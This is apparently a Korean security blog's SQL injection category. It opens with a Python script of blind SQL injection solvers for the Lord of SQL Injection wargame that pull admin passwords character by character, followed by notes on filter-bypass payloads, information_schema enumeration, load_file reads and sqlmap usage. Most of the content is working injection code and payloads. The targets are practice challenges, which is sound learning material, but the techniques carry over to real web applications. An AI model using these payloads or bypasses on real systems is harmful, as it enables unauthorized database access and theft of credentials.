import requests
import time
s=requests.session()

cookie={'__cfduid':'d392d5cf39f2a1476ffb7cf441ad0da3b1501471981','PHPSESSID':'2h91mockfjn960lg20cl338712'}
password=''
#orc

def org():
	for ind in range(1,50):
		for x in range(0x20,0x80):#0x80):
			res=requests.get('http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php',params={"pw":"1\'||id=0x61646d696e and (select ascii(substr(pw,{},1)))={}#".format(ind,x)},cookies=cookie).text
			if 'Hello admin' in res:
				print x
				print '[**]'+chr(x)
				password+=chr(x)
				print 'password: '+password
				break
		if x==0x7f:
			print '[xx]'
			break

#orge
def orge():
	for ind in range(1,10):
		for x in range(0x20,0x80):#0x80):
			res=requests.get('http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php',params={"pw":"1'||id=0x61646d696e&&(select ascii(substr(pw,{},1)))={}#".format(ind,x)},cookies=cookie).text
			if 'Hello admin' in res:
				print x
				print '[**]'+chr(x)
				password+=chr(x)
				print 'password: '+password
				break

		if x==0x7f:
			print '[xx]'
			break

#golem
#https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=123%27||id%20like%20%27admin%27%26%26ascii(mid(pw,1,1))>0%23
def golem():
	for ind in range(1,10):
		for x in range(0x20,0x80):#0x80):
			res=requests.get('http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php',params={"pw":"123'||id like 'admin'&&ascii(mid(pw,{},1)) like {}#".format(ind,x)},cookies=cookie).text
			if 'Hello admin' in res:
				print x
				print '[**]'+chr(x)
				password+=chr(x)
				print 'password: '+password
				break

		if x==0x7f:
			print '[xx]'
			break

#darknight
#https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?
def darknight():
	password=''
	for ind in range(1,10):
		for x in range(0x20,0x80):#0x80):
			res=requests.get('https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php',params={"pw":"123","no":"123||id like 0x61646d696e&&ord(mid(pw,{},1)) like {}#".format(ind,x)},cookies=cookie).text
			if 'Hello admin' in res:
				print x
				print '[**]'+chr(x)
				password+=chr(x)
				print 'password: '+password
				break
		if x==0x7f:
			print '[xx]'
			break
	print res
def bugbear():
	password=''
	for ind in range(1,10):
		p=0
		for x in range(7,-1,-1):
			param={"pw":"123","no":"1||no>1&&hex(mid(pw,{},1))<{}#".format(ind,hex(p+2**x)[2:])}
			res=requests.get('https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php',params=param,cookies=cookie).text
			if 'Hello admin' not in res:
				p+=2**x
		print '[**]'+chr(p)
		password+=chr(p)
		print 'password: '+password
	print res
def giant():
	password=''
	param={'shit':chr(0xb)}
	res=requests.get('https://los.eagle-jump.org/giant_9e5c61fc7f0711c680a4bf2553ee60bb.php',params=param,cookies=cookie).text
	print res
string='0123456789abcdefghijklmnopqrstuvwxyz'#ABCDEFGHIJKLMNOPQRSTUVWXYZ'
def assassin():
	password=''
	for i in range(10):
		#for x in range(0x20,0x80):
		for c in string:
			param={'pw':password+c+'%'}
			#print param
			res=requests.get('https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php',params=param,cookies=cookie).text
			#print res
			if 'Hello ' in res:
				if 'Hello admin' in res:
					x=c
					break
				x=c
		password+=x
		print 'password :'+password
		
def zombie_assassin():
	password=''
	param={'id':'guest','pw':"{}'||1#'".format(chr(0x0))}
	res=requests.get('https://los.eagle-jump.org/zombie_assassin_14dfa83153eb348c4aea012d453e9c8a.php',params=param,cookies=cookie).text
	print res

def succubus():
	password=''
	param={'id':'\\','pw':"||1=1#"}
	res=requests.get('https://los.eagle-jump.org/succubus_8ab2d195be2e0b10a3b5aa2873d0863f.php',params=param,cookies=cookie).text
	print res

def nightmare():
	password=''
	param={'pw':"')=0;{}".format(chr(0))}
	res=requests.get('https://los.eagle-jump.org/nightmare_ce407ee88ba848c2bec8e42aaeaa6ad4.php',params=param,cookies=cookie).text
	print res

def xavis():
	password=''
	for ind in range(1,51):
		p=0
		for x in range(10,-1,-1):
			param={'pw':"12'||id='admin'&&ord(substr(pw,{},1))<{}#".format(ind,p+2**x)}
			res=requests.get('https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php',params=param,cookies=cookie).text
			#print res
			#raw_input('>')
			if 'Hello admin' not in res:
				p+=2**x
		print p
		print '[**]'+hex(p)
		password+=hex(p)[2:]+' '
		print 'password: '+password
	print res

def hexor():
	param={'id':"123' union select 2,",'pw':"#"}
	password=''
	for ind in range(1,10):
		p=0
		for x in range(7,-1,-1):
			param={'id':"123' or ascii(substr(",'pw':",{},1))<{}#".format(ind,p+2**x)}
			res=requests.get('http://13.124.1.51/web/prob15/?id=info',params=param).text
			if 'Hello guest' not in res:
				p+=2**x
		#print p
			print res
			#time.sleep(10000)
		print p
		print '[**]'+chr(p)
		password+=chr(p)
		print 'password: '+password
def dragon():
	param={'pw':"1'\n||id='admin' order by id#"}
	res=requests.get('https://los.eagle-jump.org/dragon_7ead3fe768221c5d34bc42d518130972.php',params=param,cookies=cookie).text
	print res

def iron_golem():
	password=''
	for ind in range(1,51):
		p=0#ascii(substr(pw,{},1))<{}
		for x in range(10,-1,-1):
			param={'pw':"123'||id='admin'&&(select if(ord(substr(pw,{},1))={}&&id='admin',True,(select 1 union select 2)))#".format(ind,p+2**x)}
			res=requests.get('https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php',params=param,cookies=cookie).text
			if 'Subquery returns more than 1 row' in res:
				p+=2**x
			print res
			time.sleep(1000)
		print p
		print '[**]'+hex(p)
		password+=hex(p)[2:]+' '
		print 'password: '+password

def dark_eyes():
	password=''
	for ind in range(1,51):
		p=0
		for x in range(10,-1,-1):
			param={'pw':"123'||id='admin'&&(select ord(substr(pw,{},1))<{} union select 1)#".format(ind,p+2**x)}
			res=requests.get('https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php',params=param,cookies=cookie).text
			
			if '
query : ' not in res: p+=2**x print p print '[**]'+chr(p) password+=chr(p) print 'password: '+password print res def umaru(): password='' param={'flag':"select 1 union select 2"} res=requests.get('https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php',params=param,cookies=cookie).text print res #hexor() #dragon() #xavis() #iron_golem() #dark_eyes() umaru() #"' or if((select id='admin' and substr(pw,1,1)='a',true,(select 1 union select 2)))


할땐

?param=sleep(5)

같은걸 넣어봤을때 

실제로 지연이 된다면 sql injection이 가능하다고 봐도 무방함

' > SQL injection' 카테고리의 다른 글

LOS org~darkeyes  (0) 2017.08.03
alias  (0) 2017.02.05
blind sql injection 활용 함수  (0) 2017.01.31
sql 필터링 우회기법  (0) 2017.01.31
[sql injection] information_schema.tables, procedure anaylse()  (0) 2017.01.31

 substr, substring, left , right, lpad, rpad


parameter에 if문을 주어서 참거짓을 판별 할 수 있음

?param=if(substr(id,1,1)like'a',1,0)

->if문이 참일때 두번째 인자인 1을 반환 거짓이면 세 번째 인자인 0을 반환


IN문 활용

select * from web where id=if((select title from web where title='html')IN('html'),1,2);

' > SQL injection' 카테고리의 다른 글

sql injection공격에 취약한 parameter인지 testing  (0) 2017.02.09
alias  (0) 2017.02.05
sql 필터링 우회기법  (0) 2017.01.31
[sql injection] information_schema.tables, procedure anaylse()  (0) 2017.01.31
sqlmap 펌  (0) 2017.01.29

char(97,100,109,105,110)='admin'

0x31323334 = 1234

concat

reverse

replace


url encoding인 경우 %0b나 %0c 등을 넣으면 우회되는 경우도 있다.

ex) whe%0bre

++추가




1) And 와 OR

|| 와 &&를 사용한다.

ex) 1 || '1=1


2) Union select를 연달아 필터링 하는경우

"union select" 라는 연달아 붙어있는 문자열을 특수하게 필터링하는경우

union(select(pass)from(users)) 와같이 ()를 씀으로 필터링을 우회 할 수 있다 기본적으로 공백에도 적용되는 기법인데. 공백을 필요로 하는 부분을 ()로 묶어버리면된다.

예) select * from table where users = ~~일때

select(*)from(table)where(users)

또한 /**/도 사용할수 있다. union/*!*/select 혹은 union%0aselect.

%0a가 php내에서 개행함으로써 실제로 쿼리에 들어갈때 공백같은 역할을 하는것이다.

혹은 두가지 이상의 argument를 받을경우

verify.php?id=1 union/*&pass=*/select ~~~

이렇게 두 인자 사이에 넣음으로써도 우회가능하다.

 

3) Union 자체가 필터링 당했을경우

서브쿼리 혹은 substr, substring, left , right, lpad, rpad등을 이용해서 blind injection을 사용하자.

한가지 주위할점은 서브쿼리는 항상 ()로 둘러 쌓여야한다는것과 결과값이 항상 하나의 열만을 리턴해야된다는것! 웹해킹문제들에서도 자주 쓰이는 훼이크

 

4) Limit 필터

group by  + having을 쓰거나

group_concat 혹은 max, min 등의 보조함수를 쓰자. Limit은 상당히 많은 역할을 하는 키워드라 필터링 되면 짜증난다.

5) Group 필터

where 나 having문을 써서 특수한 조건을 첨가하도록 만들어주자.

6) Having/Where 필터

이럴경우 substr, group_concat 등을 이용해 한문자씩 비교해어야 한다.

group_concat은 default로 앞에서부터 1024 chars만큼만 읽어 온다는것 주의!

7) Select 필터

이경우 상당히 난감하다. 하지만 FILE privilege가 있을경우 (root)

' and substr(load_file('file'),locate('DocumentRoot', (load_file('file')))+length('DocumentRoot'),10)='a

load_file/ outfile 등을 적절히 이용해서 읽을 수 있다. 일종의 블라인드 인젝션

혹은 컬럼 명을 알경우 / 추측하여

' and data is not null# 등과같이도 가능. 컬럼명을 모를때 procedure analyse()는 유용하다.

' procedure analyse()#. 유의할점은 procedure analyse는 현재 쿼리에서 사용되고 있는 column에 관한 정보만 뿌려준다는점

혹은 ifnull(nullif()), case when, if() 등을 적절히 이용해 참을 만들어 줄 수도 있다.

where name=' ' 이라고할때  '-0#은 참이라는 사실을 이용해

'-if(name='Admin',1,0)# 과 같이 사용가능.

-----------------------------------------------------------------------------

자이제 키워드 필터링이 되었을때 주로 내장 function들을 사용했다는것을 알수 있다 또한 ' ' 를 사용하는 문자열 까지도. 하지만 functino들 까지 필터링되고 매직쿼터가 켜져서 ' '를 사용하지 못할경우 어떻게 우회할 수 있을까

일단 문자열은

다음과 같이 가능하다

' and substr(data,1,1) = 'a'#
' and substr(data,1,1) = 0x61#

' and substr(data,1,1) = unhex(61)#

' and substr(data,1,1) = char(97)#

다 'a'로 변환된다.

얘내까지 막혔을경우

' and substr(data,1,1) = 'a'#
' and hex(substr(data,1,1)) = 61#
' and ascii(substr(data,1,1)) = 97#
' and ord(substr(data,1,1)) = 97#

이젠 숫자로 변환시켜 비교 한다.

또한 conv함수를 쓸수도 있다.

conv(10,10,36) = 'a'

또한 substr 대신

substring, mid 함수가 있다는 점도 유용하다.

 

',' 콤마까지 꼼꼼하게 막아놨다면 어떻게 할가

->    substr(data from 1 for 1 )

또 lpad, rpad, left, right(reverse함수와 같이) , insert 등을 쓸수있다.

 

locate, instr, position 또한 유용

 

숫자 필터링

숫자가 필터링 되어있을때 +,-,*,% 등을 필터링 한다면.

아래와 같은 cheat sheet또한 존재

false !pi() 0            ceil(pi()*pi())                 10 ceil((pi()+pi())*pi()) 20
true !!pi() 1             ceil(pi()*pi())+true          11 ceil(ceil(pi())*version()) 21
true+true 2              ceil(pi()+pi()+version())   12 ceil(pi()*ceil(pi()+pi())) 22
floor(pi()) 3             floor(pi()*pi()+pi())         13 ceil((pi()+ceil(pi()))*pi()) 23
ceil(pi()) 4              ceil(pi()*pi()+pi())          14 ceil(pi())*ceil(version()) 24
floor(version()) 5      ceil(pi()*pi()+version())   15 floor(pi()*(version()+pi())) 25
ceil(version()) 6        floor(pi()*version())       16 floor(version()*version()) 26
ceil(pi()+pi()) 7         ceil(pi()*version())        17 ceil(version()*version()) 27
floor(version()+pi()) 8 ceil(pi()*version())+true  18 ceil(pi()*pi()*pi()-pi()) 28
floor(pi()*pi()) 9 floor((pi()+pi())*pi())             19 floor(pi()*pi()*floor(pi())) 29



' > SQL injection' 카테고리의 다른 글

alias  (0) 2017.02.05
blind sql injection 활용 함수  (0) 2017.01.31
[sql injection] information_schema.tables, procedure anaylse()  (0) 2017.01.31
sqlmap 펌  (0) 2017.01.29
sqlmap post testing  (0) 2017.01.29

information_schema.tables

데이터베이스의 table 정보를 가지고 있다. 

information_schema

http://luckyyowu.tistory.com/22


procedure anaylse()

select * from (table) where id='1' limit 2,1 procedure anaylse()

현재 실행중인 칼럼에 대한 정보를 가져옴

limit으로 칼럼의 몇번째 테이블을 가져올지 설정이 가능하다.

http://tempuss.tistory.com/entry/Limit-%EC%A0%88%EC%97%90%EC%84%9C%EC%9D%98-SQL-Injection



table이름 가져오는 쿼리 


 select group_concat(table_name),4 from information_schema.tables where table_schema=schema()#


** table에는 user table인 base table이 있고 system전용 테이블이 있다.

따라서 where table_type='base table'을 넣어주면 테이블 찾기가 더 쉽다.


칼럼명 가져오는 쿼리

select 1,2,group_concat(column_name),3 from information_schema.columns where table_name='flag



쿼리 인젝션에 문자열 넣고싶을때

ex) los goblin

https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=5%20or%20id=0x61646d696e

0x61646d696e처럼 hex로 넣는다

select id from prob_goblin where id='guest' and no=5 or id=0x61646d696e

' > SQL injection' 카테고리의 다른 글

blind sql injection 활용 함수  (0) 2017.01.31
sql 필터링 우회기법  (0) 2017.01.31
sqlmap 펌  (0) 2017.01.29
sqlmap post testing  (0) 2017.01.29
공격 쿼리 모음  (0) 2017.01.15


패킷 캡처후 file 로 저장

-r file이름 -p testparameter

sqlmap -r test.txt -p password


' > SQL injection' 카테고리의 다른 글

blind sql injection 활용 함수  (0) 2017.01.31
sql 필터링 우회기법  (0) 2017.01.31
[sql injection] information_schema.tables, procedure anaylse()  (0) 2017.01.31
sqlmap 펌  (0) 2017.01.29
공격 쿼리 모음  (0) 2017.01.15

https://blog.lael.be/post/55

' > SQL injection' 카테고리의 다른 글

blind sql injection 활용 함수  (0) 2017.01.31
sql 필터링 우회기법  (0) 2017.01.31
[sql injection] information_schema.tables, procedure anaylse()  (0) 2017.01.31
sqlmap 펌  (0) 2017.01.29
sqlmap post testing  (0) 2017.01.29

+ Recent posts